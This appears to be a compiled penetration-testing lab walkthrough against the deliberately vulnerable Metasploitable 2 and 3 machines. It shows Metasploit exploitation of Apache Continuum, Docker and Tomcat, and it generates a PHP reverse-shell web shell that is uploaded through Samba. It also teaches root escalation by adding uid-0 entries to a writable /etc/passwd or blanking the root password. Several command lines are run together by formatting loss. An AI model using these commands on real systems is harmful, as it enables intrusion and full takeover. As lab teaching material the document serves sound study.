Note that this vulnerability is currently not exploitable due a [configuration issue](https://github.com/rapid7/metasploitable3/pull/458) in the iptables rules. This can be resolved by updating the iptables rules as shown below.

```
root@metasploitable3-ub1404:/home/vagrant# iptables-save > /tmp/ipt.txt
root@metasploitable3-ub1404:/home/vagrant# cat /tmp/ipt.txt
# Generated by iptables-save v1.4.21 on Thu Apr 16 23:45:56 2020
*nat
:PREROUTING ACCEPT [6:360]
:INPUT ACCEPT [6:360]
:OUTPUT ACCEPT [196:29690]
:POSTROUTING ACCEPT [196:29690]
:DOCKER - [0:0]
-A PREROUTING -m addrtype --dst-type LOCAL -j DOCKER
-A OUTPUT ! -d 127.0.0.0/8 -m addrtype --dst-type LOCAL -j DOCKER
-A POSTROUTING -s 172.17.0.0/16 ! -o docker0 -j MASQUERADE
-A DOCKER -i docker0 -j RETURN
COMMIT
# Completed on Thu Apr 16 23:45:56 2020
# Generated by iptables-save v1.4.21 on Thu Apr 16 23:45:56 2020
*filter
:INPUT ACCEPT [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [19483:4986198]
:DOCKER - [0:0]
:DOCKER-ISOLATION-STAGE-1 - [0:0]
:DOCKER-ISOLATION-STAGE-2 - [0:0]
:DOCKER-USER - [0:0]
-A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p tcp -m tcp --dport 631 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 6697 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 21 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 3306 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 3000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 3500 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 8181 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 445 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 32000 -j ACCEPT (Add this line)
-A INPUT -p tcp -m tcp --dport 8080 -j ACCEPT (Add this line also))
-A INPUT -j DROP
-A FORWARD -j DOCKER-USER
-A FORWARD -j DOCKER-ISOLATION-STAGE-1
-A FORWARD -o docker0 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
-A FORWARD -o docker0 -j DOCKER
-A FORWARD -i docker0 ! -o docker0 -j ACCEPT
-A FORWARD -i docker0 -o docker0 -j ACCEPT
-A DOCKER-ISOLATION-STAGE-1 -i docker0 ! -o docker0 -j DOCKER-ISOLATION-STAGE-2
-A DOCKER-ISOLATION-STAGE-1 -j RETURN
-A DOCKER-ISOLATION-STAGE-2 -o docker0 -j DROP
-A DOCKER-ISOLATION-STAGE-2 -j RETURN
-A DOCKER-USER -j RETURN
COMMIT
# Completed on Thu Apr 16 23:45:56 2020
root@metasploitable3-ub1404:/home/vagrant# iptables-restore < /tmp/ipt.txt
```

```
msf5 > use exploit/linux/http/apache_continuum_cmd_exec
msf5 exploit(linux/http/apache_continuum_cmd_exec) > show options
Module options (exploit/linux/http/apache_continuum_cmd_exec):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   10.0.2.15        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    8080             yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Apache Continuum <= 1.4.2
msf5 exploit(linux/http/apache_continuum_cmd_exec) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Injecting CmdStager payload...
[*] Sending stage (985320 bytes) to 10.0.2.15
[*] Meterpreter session 10 opened (10.0.2.4:4444 -> 10.0.2.15:49126) at 2020-04-12 23:47:16 -0400
[*] Command Stager progress - 100.00% done (763/763 bytes)
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```

### Docker Daemon Local Privilege Escalation

The Docker daemon running on the system exposes an unprotected TCP sockets that allows a local privilege escalation vulnerability which can be exploited using the [Docker Daemon – Unprotected TCP Socket Exploit](https://www.rapid7.com/db/modules/exploit/linux/http/docker_daemon_tcp) module.

This exploit requires a session running as a user in the docker group. The [Metasploitable 3 configuration](https://github.com/rapid7/metasploitable3/blob/master/chef/cookbooks/metasploitable/attributes/default.rb) adds the users `boba_fett, jabba_hutt, greedo and chewbacca` to the docker group.

The exploit for Unreal IRCd mentioned above would be a good candidate for obtaining the session as Unreal IRCd is running as the `boba_fett` user. This exploit would require that the Unreal IRCd exploit was used with the `cmd/unix/reverse_perl` payload.

```
msf5 > use exploit/linux/local/docker_daemon_privilege_escalation
msf5 exploit(linux/local/docker_daemon_privilege_escalation) > show options
Module options (exploit/linux/local/docker_daemon_privilege_escalation):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  13               yes       The session to run this module on.
Payload options (linux/x86/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic
msf5 exploit(linux/local/docker_daemon_privilege_escalation) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 10.0.2.4:4444
[+] Docker daemon is accessible.
[*] Writing payload executable to '/tmp/nvqcVNIodyb'
[*] Executing script to create and run docker container
[*] Waiting 60s for payload
[*] Sending stage (985320 bytes) to 10.0.2.15
[*] Meterpreter session 14 opened (10.0.2.4:4444 -> 10.0.2.15:49185) at 2020-04-13 00:46:33 -0400
meterpreter > getuid
Server username: uid=1121, gid=100, euid=0, egid=100
```

### Samba

The Samba application hosts a share accessible by the `chewbacca`user. The share just happens to be mapped to the `/var/www/html/` location on the Metasploitable 3 machine, allowing you to upload a web shell to gain access to the system.

First step would be to generate a web shell.

```
kali@kali:~$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.2.4 LPORT=4444 > ~/backdoor.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1109 bytes
```

Next, upload it through the samba share.

```
msf5 > use auxiliary/admin/smb/upload_file
msf5 auxiliary(admin/smb/upload_file) > show options
Module options (auxiliary/admin/smb/upload_file):
   Name         Current Setting          Required  Description
   ----         ---------------          --------  -----------
   FILE_LPATHS                           no        A file containing a list of local files to utilize
   FILE_RPATHS                           no        A file containing a list remote files relative to the share to operate on
   LPATH        /home/kali/backdoor.php  no        The path of the local file to utilize
   RHOSTS       10.0.2.15                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPATH        backdoor.php             no        The name of the remote file relative to the share to operate on
   RPORT        445                      yes       The SMB service port (TCP)
   SMBDomain    .                        no        The Windows domain to use for authentication
   SMBPass      rwaaaaawr5               no        The password for the specified username
   SMBSHARE     public                   yes       The name of a writeable share on the server
   SMBUser      chewbacca                no        The username to authenticate as
   THREADS      1                        yes       The number of concurrent threads (max one per host)
msf5 auxiliary(admin/smb/upload_file) > run
[+] 10.0.2.15:445         - /home/kali/backdoor.php uploaded to backdoor.php
[*] 10.0.2.15:445         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

And trigger it by requesting the file through the webserver. Make sure to have a handler running to catch the shell!

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
Payload options (php/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Wildcard Target
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
<send curl command at this time>
[*] Sending stage (38288 bytes) to 10.0.2.15
[*] Meterpreter session 4 opened (10.0.2.4:4444 -> 10.0.2.15:36312) at 2020-04-15 20:28:46 -0400
meterpreter > getuid
Server username: www-data (33)
```

```
kali@kali:~$ curl 10.0.2.15/backdoor.php
```


# Linux Privilege Escalation


# Linux Privilege Escalation with Misconfigured /etc/passwd&#x20;

Source : hackingarticles.in

Firstly, we should be aware of /etc/passwd file in depth before reaching the point. Inside etc directory, we will get three most important files i.e. **passwd**, **group**, and **shadow**.

**etc/passwd:** It is a human-readable text file which stores information of user account.

**etc/group:** It is also a human-readable text file which stores group information as well as user belongs to which group can be identified through this file.

**etc/shadow:** It is a file that contains encrypted password and information of the account expire for any user.

**The format of details in /passwd File**

![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj29BD_zZp9HG2fvhoeaAqaqs7bbImdBXtc9JYch4fgfl9ROsT3GkpNnrdyOsYhXfX0-c11xjE4Wn556PyyAzU0dbD4PG8dbmjtaCF6sLQJQ48_E07g1SqNARPXTbohHDBjrWoKRCC9xYvXTi8zlhdh258_epM02uO9OghsMmZrq-Ue6wLrAytoooBfuckj/s16000/0.png)

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQrX17dJLZ2Ixhe7pQipq0xPX8OV1vb7KNuMQ27ij4lOOwcR3nkyKvYRnrE6m9wcQp8vHAqs6D0AoG-FEiC7pUJnq2ZzHdJ4Q3FTR8XrcUOftPHYsH2rz9qlQZd3XA2ohCSGttIKoTVHHXK2HCjCY88vM-dG7NfNThfJ0AX5rlwV49U2ExkpqjBzZ8DeFi/s16000/1.png" alt=""><figcaption></figcaption></figure>

**Get into its Details Description**

**Username:** First filed indicates the name of the user which is used to login.

**Encrypted password:** The **X denote**s encrypted password which is actually stored inside /shadow file. If the user does not have a password, then the password field will have an **\***(**asterisk**).

**User Id (UID):** Every user must be allotted a user ID (UID). UID **0** (zero) is kept for root user and UIDs **1-99** are kept for further predefined accounts, UID **100-999** are kept by the system for administrative purpose. UID **1000** is almost always the first non-system user, usually an administrator. If we create a new user on our Ubuntu system, it will be given the UID of **1001**.

**Group Id (GID):** It denotes the group of each user; like as UIDs, the first **100** GIDs are usually kept for system use. The GID of **0** relates to the root group and the GID of **1000** usually signifies the users. New groups are generally allotted GIDs beginning from **1000.**

**Gecos Field:** Usually, this is a set of comma-separated values that tells more details related to the users. The format for the GECOS field denotes the following information:

User’s full name

Building and room number or contact person

Office telephone number

**Shell:** It denotes the full path of the default shell that executes the command (by the user) and displays the results.

&#x20;**NOTE:** Each field is separated by **(colon)**

#### **Possible Scenarios:**

If /etc/passwd file is editable what would be the possible scenarios to escalate the privileges?

Scenario 1: Replace the password hash for existing users in /etc/passwd file with our encrypted password.

Scenario 2: Manually add a new root privilege user to the/etc/passwd file with our encrypted password.

Scenario 3: Tempering the root or high-privilege user password in the/etc/passwd file.

**Let’s start now!**

Connect with this machine with SSH:

ssh <pentest@192.168.1.22tail> /etc/passwdls -al /etc/passwd

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtMuUtyvSizEFDxMUMDA-NfpRhR7FtIdRmOvry3L1dxs40t7zF-RFFVw1VKt1QCSSJBT220gQIERpq_M7U4DrbXo5elMsp_CsdT7ZRCj00zjcNnx5JemGd6o44d4Fr1jBul8cK2ZNoi2AbRC_i5vjVKuxUyL3iLCmBlGg42VpvmjWH3XBKrj8mzky_3D0j/s16000/9.png" alt=""><figcaption></figcaption></figure>

It is clearly visible that /etc/passwd file has all permissions.

#### OpenSSL

Sometimes, the execution of the passwd command for user password setup might not be feasible. In such situations, the OpenSSL command can be employed. This command generates a salted encrypted password.

**OpenSSL** is a widely used open-source library that provides various cryptographic functions, protocols, and tools for securing communications over computer networks. The openssl passwd command allows you to generate password hashes for different algorithms, such as DES, MD5, SHA-256, and more.

#### Method 1

Here, we generated password in our kali machine.

`openssl passwd raj`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF7NAMWSir_mKea9RsBjsYGHIVLiuxTRtrPJG_bkHmiAiGSdNWj5WD4LGJTDDsV-smlnHbRqzpBS28gjHZZdiKRsJO2yPcKhh6IcEXi6WCZAbeNz3kSXNP6CQjC9brmgrDSwmUbK_fCGomhBWX_NXDEsmW0Fitg0NQbPcYCuZO1CMFFzDJSC8VK9RBn8bE/s16000/10.png" alt=""><figcaption></figcaption></figure>

$1 = indicates that the generated passwd in MD5 hash format.

Now use this salted password for “aarti” user using echo command to put password in etc/passwd.

echo 'aarti:$1$cJ05ZYPP$06zg1KtuJ/CbzTWPmeyNH1:0:0:root:/root:/bin/bash' >> /etc/passwd

here, you can observed that we have allotted uid: 0 and gid: 0 and home directory /root/root hence we have given root privilege to our user “aarti”. Now switch user and access the terminal through aarti and confirm the root access.

tail /etc/passwdsu aartiid

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgblQtgYRPUdPWPQxdV48G0IS2-dvIjBfiEevRmyC57zVEadoEnx9tfCH6ceCkmGmUDGX4yvSuxzXm9cLMXCahG0E2pQNqQQ3t3aHwypOLfi4l_HUbMjY-ULolneSxvSPDZ8mpz2Xs43NFz-u3N7__sNIEJOLP-kw1iFTMSRlS6gvbKPibiSY7JzOQ_2gxk/s16000/11.png" alt=""><figcaption></figcaption></figure>

#### Method 2

This becomes relevant when OpenSSL is present on the victim’s system, allowing us to create passwords within the victim’s machine itself.

`openssl passwd 123echo 'user3:ghTC5HTjVd/7M:0:0:root:/root:/bin/bash' >> /etc/passwdtail /etc/passwd`

Now switch user and access the terminal through user3 and confirm the root access.

`su user3id`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3TXjnh25X467TOIgcAxRtMvGqCzQmjndooDJmZXwklf7w9grOat5p5VWf07WsyjtO8SzIWf898065py8Zhpk5HRUn24ScSi01cno3q5PJgSo-sd-5B3nlLxBGRt9UpYw9nvnV-sTrGS7OLk7DhS0ndWsTAQ2r96gibwL77TPCKvKqrJ62fQXWTcp6CVaL/s16000/12.png" alt=""><figcaption></figcaption></figure>

Cool!!! Both methods are working.

#### Mkpasswd

It is an alternate method of Openssl. **mkpasswd** is a command-line tool utilized for producing password hashes intended for diverse authentication systems.

`mkpasswd -m <method> <password>`

Here, \<method> specifies the hash algorithm (like sha-512, md5, etc.), and \<password> is the password you want to hash.

`mkpasswd -m SHA-512 pass123`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRgEe_Oda8-oIo7IUakfvVYMca2sldPzjCw_k43oz2LZrpT4gITG7xDQaDk97xfOP2uqdkWzGTxdFwGDDUBjEbIV_eML95S5b8Vzu3WNegs0vEkbc_B39xjrZn5tN5xQ02PR2nCcfM1rp8gNXquGpFRGB0hFlv5_4RrNaARfYoEKUoUuLUTxXHWbd0zY9S/s16000/13.png" alt=""><figcaption></figcaption></figure>

You can use the above similar method to add a password to /etc/passwd file or manually edit.

`nano /etc/passwd`

In the below image, you can observe that I have allotted uid: 0 and gid: 0 and home directory /root/root hence we have given root privilege to our user4.

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjCTDn4Kiv5xBfOJSZg5Gxv0YpVQ_0XyKjh35J6GAi3tAvPJAtxK2M9vwvtJvUJtpILs42y8LC_u4nfoVjPqPGhWT6e2QFrMlxQVecYVediUcpkmHlGobVoRlJAHXtdyrcokhf5RIwQx2pbb3MOWLlyk6IYjdBccj-Rd4B2ckTKyg9w0iHhCv52oSkU-Mc/s16000/14.png" alt=""><figcaption></figcaption></figure>

Now switch user and access the terminal through user4 and confirm the root access.

`su user4id`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7ihwAcW7F6SEEKfMQ2Rh3mgK7gcZYsS4Aac3K4YUrtx_EezKxrWpFE_labJ9zmdauEaK_wTeKOssmZMzlIJKHmC3mwfqAckHuaWi3uSbrXRVHgG6StBk2wEMmVaaliVrB8wXgBdfDroT45n5zWjT4g2OYoTe1QCkL5T-qbOysoIxk2eO8aGMgT6fkufQa/s16000/15.png" alt=""><figcaption></figcaption></figure>

Great!!! It is also working.

#### Python

Python allows us to add salt to our passwords, which will create an encrypted password that includes the salt value.

`python2 -c 'import crypt; print crypt.crypt("pass123", "$6$salt")'`

If above command is not working, you can use the python3 or check the installed python version with “which python” command.

`python3 -c 'import crypt; print (crypt.crypt("pass123", "$6$salt"))'`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDTxsafw1kPmLyvGk_re4XPAO22CmPEYK2kEATFraVwiTJQnFWhSSzMayweKrZMTw7GgfqLhU5qN9p7kY6MU-L2vVtjq0ACM4hCNbx-1vy-SxrIqmIkr-bf2VDq0XTsh6pHhGE3iILHTL48fnWVR-gMnuvncgm7PMbnICn3prhpiDwHcYB6QhBbdi53Jie/s16000/16.png" alt=""><figcaption></figcaption></figure>

Use any method to edit and put encrypted passwd into /etc/passwd file and switch to user5. Here we used nano editor.

`su user5id`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh43niWvJvVFe4JKSPBck7PAT2q_YJE4G0XPkRuKQVFnrq3VdKwFeH8n_f0vSj3DLjVCVHpHSKZnOXs2Orheeya0fHMNSxUSubveNnxX2hpAnx7C0WQKy78pliiSnCqsXor5aphE7WEJVkXEG45VXpOkS-9e1m6OWLXWkQk_wqd1fQc6mouPToeybGnOgCB/s16000/17.png" alt=""><figcaption></figcaption></figure>

It is also working.

#### Perl

Similar to this, we can create a hash value for our password using salt value using Perl along with crypt.

`perl -le 'print crypt("pass123", "abc")'`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqTFQPCyDnLgHZuwT2BpnJR8HWJBdqNPelRbv2vMqeDcb2uiH3M9aFFIjSONl2Tunrtf_pWyQ6GPW1t4ZBJIa9gn-nkvfXHHO3sWUA0XqdHPi7bP5AWX4c1-Y4T54Xi58Sic0fjSvjk85ofD765euO1_7HbbhiKy6QzYxLZJdS1h-cAzdIwlt7belRHfKG/s16000/19.png" alt=""><figcaption></figcaption></figure>

You will get the encrypted password; repeat the manual step of adding new user “user6” and putting the encrypted value into the password field with the echo command in terminal.

`echo ‘user6:abBxjdJQWn8xw:0:0:root:/root:/bin/bash’ >> /etc/passwd`

here, you can see that we have allotted uid: 0 and gid: 0 and home directory /root/root hence we have given root privilege to our user6. Switch to new user user6

`su user6id`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi53dPZbQWb-wZfUay9LFNsvlC_C39Y4XpNAb9RTS0AnPe55TUQQEkg_8pJ-QxZSVs3ZrGI6MIi_WSjFx0pYsfc1NsccxOiEqwnkxXTDoF74AlUtS0nV04_CVEYr9SEBA7nwgti04c1eSzxAzaqRnpN6N0Iv2PdqynLvzcfznJOCUj8c1GNQRwaXEfu8_p3/s16000/20.png" alt=""><figcaption></figcaption></figure>

Great!! This method is also working.

#### PHP

The hash for our password may also be created using PHP along with crypt using the salt value.

`php -r "print(crypt('aarti','123') . \"\n\");"`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmBFiyV2d5oStKU20DrMz6sAeKLu3X7A6ucsjptA5Gar6bI0Hny7zw439PSa8fQnX98qsGb3BKcSpu6JYkNYJkxgzbRGQM_K5xAXl6As1cf3tAAdbhzj-Y7AsMfqXQfqCXgKv8ipx5j-wAqWOik-w-nCoXo4FaU0LZ65e19UCLUbFkojpe4uyJBOuKAvAV/s16000/22.png" alt=""><figcaption></figcaption></figure>

You will get the encrypted password; repeat the same method of adding new user “user7” and putting the encrypted value into the password field with the echo command in terminal.

`echo ‘user7:121z.fuKOKzx.:0:0:root:/root:/bin/bash’ >> /etc/passwd`

In below image you can observe that we have allotted uid: 0 and gid: 0 and home directory /root/root hence we have given root privilege to our user7.

`tail -n 2 /etc/passwdsu user7id`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMs9ciuIEPejflY4fKsxkifYy3syeIf_nwQqhPIBUNLl8h9e2csIe9qI7h1KGckvgTK2NJ1LwqeXNvjULqcS4MoDTn1LqJziOq6uWb4BfFO5Whf7nKnoWxXIZqs8bVpb0apcMXVzHe4K8yvtXr_CNK9s_XKFRFWMVIgPjwjXDYX8-OY1vrF_o0d01rVq6i/s16000/23.png" alt=""><figcaption></figcaption></figure>

Working!!!

#### Ruby

As we have already use Python, Perl, PHP in the same way Ruby can be used for creating encrypted password along with crypt using the salt value.

ruby -r ‘digest’ -e ‘puts “pass”.crypt(“$6$salt”)’

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8QwJo287c_5RzdUarVXBRC-1AKbDcTXysfE4-XXxeMyRGnd97G2GOoYL2tGGTt12Q9u31yCioZMiRC3ex6RmX5LoDconJeMww6fl4Om-LszbPVWhDi2WUJyg5NEXxUQpRplqYhAZVWA7gYlOOJdAvRSSghx6j10ytmII6g2gM6rRqJ2QjaKXxxJBAFUXR/s16000/24.png" alt=""><figcaption></figcaption></figure>

Use any of above way to edit /etc/passwd and switch to new user user8

`su user8id`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4s1GONr0lwm6J5NzepRNvNEhXfIF5epU42IdqR9enZwSrYyeSi0XKqp8Qzln13hOXFvZpL_KWTAoin9MX7DV0ABMK0FnvziA8N7onpIy1dDfMjGyDIKzgLHkRRTB54WK14O56gC1aZFgL7Y11NiXf5cowj7LcCyoZ4dm6-HEB_cgs5UbD4kgzigWeYDAI/s16000/25.png" alt=""><figcaption></figcaption></figure>

This is also working.

#### Bonus: Hack Trick

If you are lazy to perform any of above methods you should try this!!!

If /etc/passwd file is having -rwxrwxrwx permissions in victim system, open /etc/passwd file and remove the ‘X’ or ‘\*’ value at the place of root password. As shown in image below:

![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGNttyWKNtfXrSVZK8mNYLypn5_H3mz5AW3DU74AVmbE6djasV852X6nPhS0TRJQNU_7ckKVQyxnR89YMnblvjmoUQG7V5Swnla9b4iBR8aqDwDWOMCUG2C0eDgazdk8Yq3LXAFTpWk2R15mJi9ajDmtDkCrqa0Rv_hDI08IVSpJYLRlm_a0LeJOwpUvYH/s16000/26.png)

**Methodology**: The ‘x’ value in the /etc/passwd file indicates that the actual password hash is stored in the /etc/shadow file (or a similar location), rather than in the /etc/passwd file itself.

If you remove the ‘x’ value and replace it with something else or leave it blank, the root user’s password will no longer be stored securely and the system won’t be able to authenticate the root user using the stored password hash from the /etc/shadow file.

Keep the root password blank and save the /etc/passwd file.

`root::0:0:root:/root:/bin/bash`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8bQxyVQ-dNu7Boc5WSTJD4-L1x8hgTrolGh0D-5-3X-vtVrOFilsqlabK-iwVkWCs0ERU9PYts98ZahGs8avt9dXqDdksj4oRJwNe9bS4vS-uXP-874EQfsJYTaRpDqJCkXy6FskLErU48apb9CUnFdrnzQOTuRysNeXLnGzDVJfKvQPi7QpmfZSBYrw7/s16000/27.png" alt=""><figcaption></figcaption></figure>

Now, switch to root user

`su rootid`

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE_IPMCk-gGOT5mmV1MT6gVzddNQSiat4bdhlAgIAUM_wDU1mxhGcPRg1G7uBdFBQGAPVFIYGfNLKj-I01kElHj2bd6PwPU8Uh0ANFeH6wDzDSjwhXM9M_REQ1S4hg2DYCX8a1wCYWv_Pusz0NyjrBE_dL6a_FBUQh59_SaHXlxGEAdUQCy7maEx_3nxXy/s16000/28.png" alt=""><figcaption></figcaption></figure>

Boom… you have the root access without passwd. You can use this method on other high privilege user roles.


# Linux Privilege Escalation with SUID

Study case Metasploitable 2. Source https\://www\.hackingarticles.in/ and https\://medium.com/@SumanNathani.

**Let’s Start with Theoretical Concept !!**

As we all know in Linux everything is a file, including directories and devices which have permissions to allow or restrict three operations i.e. read/write/execute. So when you set permission for any file, you should be aware of the Linux users to whom you allow or restrict all three permissions. Take a look at the following image.

<figure><img src="https://i0.wp.com/3.bp.blogspot.com/-3On44xqaRWQ/WvxyU2oXLII/AAAAAAAAW3g/ms6yFU_xJ_E1WxrCTHJsZX7j53D1aJdVACLcBGAs/s1600/0.1.png?w=640" alt=""><figcaption></figcaption></figure>

Hence it is clear that the maximum number of bit is used to set permission for each user is **7**, which is a combination of read (**4**) write (**2**) and execute (**1**) operation. For example, if you set chmod 755, then it will look like as **rwxr-xr-x.**

But when special permission is given to each user it becomes **SUID, SGID, and sticky bits**. When extra bit **“4”** is set to user(Owner) it becomes **SUID** (Set user ID) and when bit **“2”** is set to group it becomes **SGID** (Set Group ID) and  if other users are allowed to create or delete any file inside a directory then **sticky bits** **“1”** is set to that directory.

<figure><img src="https://i0.wp.com/2.bp.blogspot.com/-V6G2dcR6rew/WvxyU3zB5NI/AAAAAAAAW3o/es8P06opgNwUg8gUPjzcLO29dgVYBOOpQCLcBGAs/s1600/0.2.png?w=640" alt=""><figcaption></figcaption></figure>

#### **What is SUID Permission?**

**SUID:** Set User ID is a type of permission that allows users to execute a file with the permissions of a specified user. Those files which have suid permissions run with higher privileges.  Assume we are accessing the target system as a non-root user and we found suid bit enabled binaries, then those file/program/command can run with root privileges.&#x20;

**How to set suid?**

Basically, you can change the permission of any file either using the “Numerical” method or “Symbolic” method. As result, it will **replace x from s** as shown in the below image which denotes especial execution permission with the higher privilege to a particular file/command. Since we are enabling SUID for Owner (user) therefore **bit 4** or **symbol s** will be added before read/write/execution operation.

<figure><img src="https://i0.wp.com/4.bp.blogspot.com/-a6Pqx7k0g4o/WvxyU6zyHDI/AAAAAAAAW3k/5XoCsMKnS7o9OsnJL4BgMLF584zaJ2LrwCLcBGAs/s1600/0.3.png?w=640" alt=""><figcaption></figcaption></figure>

&#x20;

If you execute **ls -al** with the file name and then you observe the small ‘s’ symbol as in the above image, then its means SUID bit is enabled for that file and can be executed with root privileges.

#### **How to Find SUID Files**

By using the following command you can enumerate all binaries having SUID permissions:

```
find / -perm -u=s -type f 2>/dev/null
```

* **/**&#x64;enotes  start from the top (root) of the file system and find every directory
* **-perm** denotes search for the permissions that follow
* **-u=s** denotes look for files that are owned by the root user
* **-type** states the type of file we are looking for
* **f** denotes a regular file, not the directories or special files
* **2** denotes to the second file descriptor of the process, i.e. stderr (standard error)
* **>** means redirection
* **/dev/null** is a special filesystem object that throws away everything written into it.

GTFOBins link below we can see this can be used for privilege escalation on the base64 binary.

* **GTFOBins SUID:** <https://gtfobins.github.io/#+suid>

**Contoh Linux Privilege Escalation with SUID di Metaploitable 2**\
\
Running nmap on Metaspoitable IP, can see that 8180 port is open and running tomcat service on that.

<figure><img src="https://miro.medium.com/v2/resize:fit:1050/1*TUMXX6aRVaz0KB9vttvg1A.png" alt="" height="81" width="700"><figcaption></figcaption></figure>

Try opening the page on 8180 with url [http://metasploitableIP:8180](http://metasploitableip:8180/)

<figure><img src="https://miro.medium.com/v2/resize:fit:1050/1*Ni7uUSDt_aQiyhELVTBUwA.png" alt="" height="352" width="700"><figcaption></figcaption></figure>

When you will click on any of the links in left panel, it will ask to login.

Now, we have an exploit in msf to get the login credentials:- auxiliary/scanner/http/tomcat\_mgr\_login

Use this exploit and set the options:-

<figure><img src="https://miro.medium.com/v2/resize:fit:1050/1*CZRH3wJ2pomqQgu98coUHA.png" alt="" height="110" width="700"><figcaption></figcaption></figure>

Once done, it will try to get the login credentials and the output will be something like:-

<figure><img src="https://miro.medium.com/v2/resize:fit:1050/1*isVzSPbw6VmH1gmLOaZvlA.png" alt="" height="26" width="700"><figcaption></figcaption></figure>

Use these credentials to login to the apache page.

And there you go!!

<figure><img src="https://miro.medium.com/v2/resize:fit:1050/1*aeL6_lxhxL21rPIPx-mLsw.png" alt="" height="383" width="700"><figcaption></figcaption></figure>

Click on ‘List Applications’ under Manager tab, and you will see there are couple of options to upload the file.

Now we can try exploiting upload vulnerability on this one, either using the exploit available on msfconsole or creating an exploit using msfvenom.

We will see on how we can exploit this using exploit available on msfconsole.

Here we have an exploit which can be used for deploying the file on tomcat /manager directory.

Use use exploit/multi/http/tomcat\_mgr\_deploy and make sure to set the username and password too for manager along with other options, this will be the one we used to login.

<figure><img src="https://miro.medium.com/v2/resize:fit:1050/1*j0Pb4-lE2rZ__prkVFg8Ow.png" alt="" height="177" width="700"><figcaption></figcaption></figure>

Once you will run ‘exploit’, will get the meterpreter session:-

<figure><img src="https://miro.medium.com/v2/resize:fit:1050/1*gZrwklOICyPfudrRw2roGg.png" alt="" height="146" width="700"><figcaption></figcaption></figure>

We have got the access to metasploitable but we are not root user yet.

<figure><img src="https://miro.medium.com/v2/resize:fit:1002/1*TUl_Roreu-P5-LleKww1Nw.png" alt="" height="138" width="668"><figcaption></figcaption></figure>

To get the root level access, we need to do privilege escalation. And to get that, we can try exploiting SUID set binary if any.

Let us search for that but for running the commands, lets get into the shell from meterpreter.

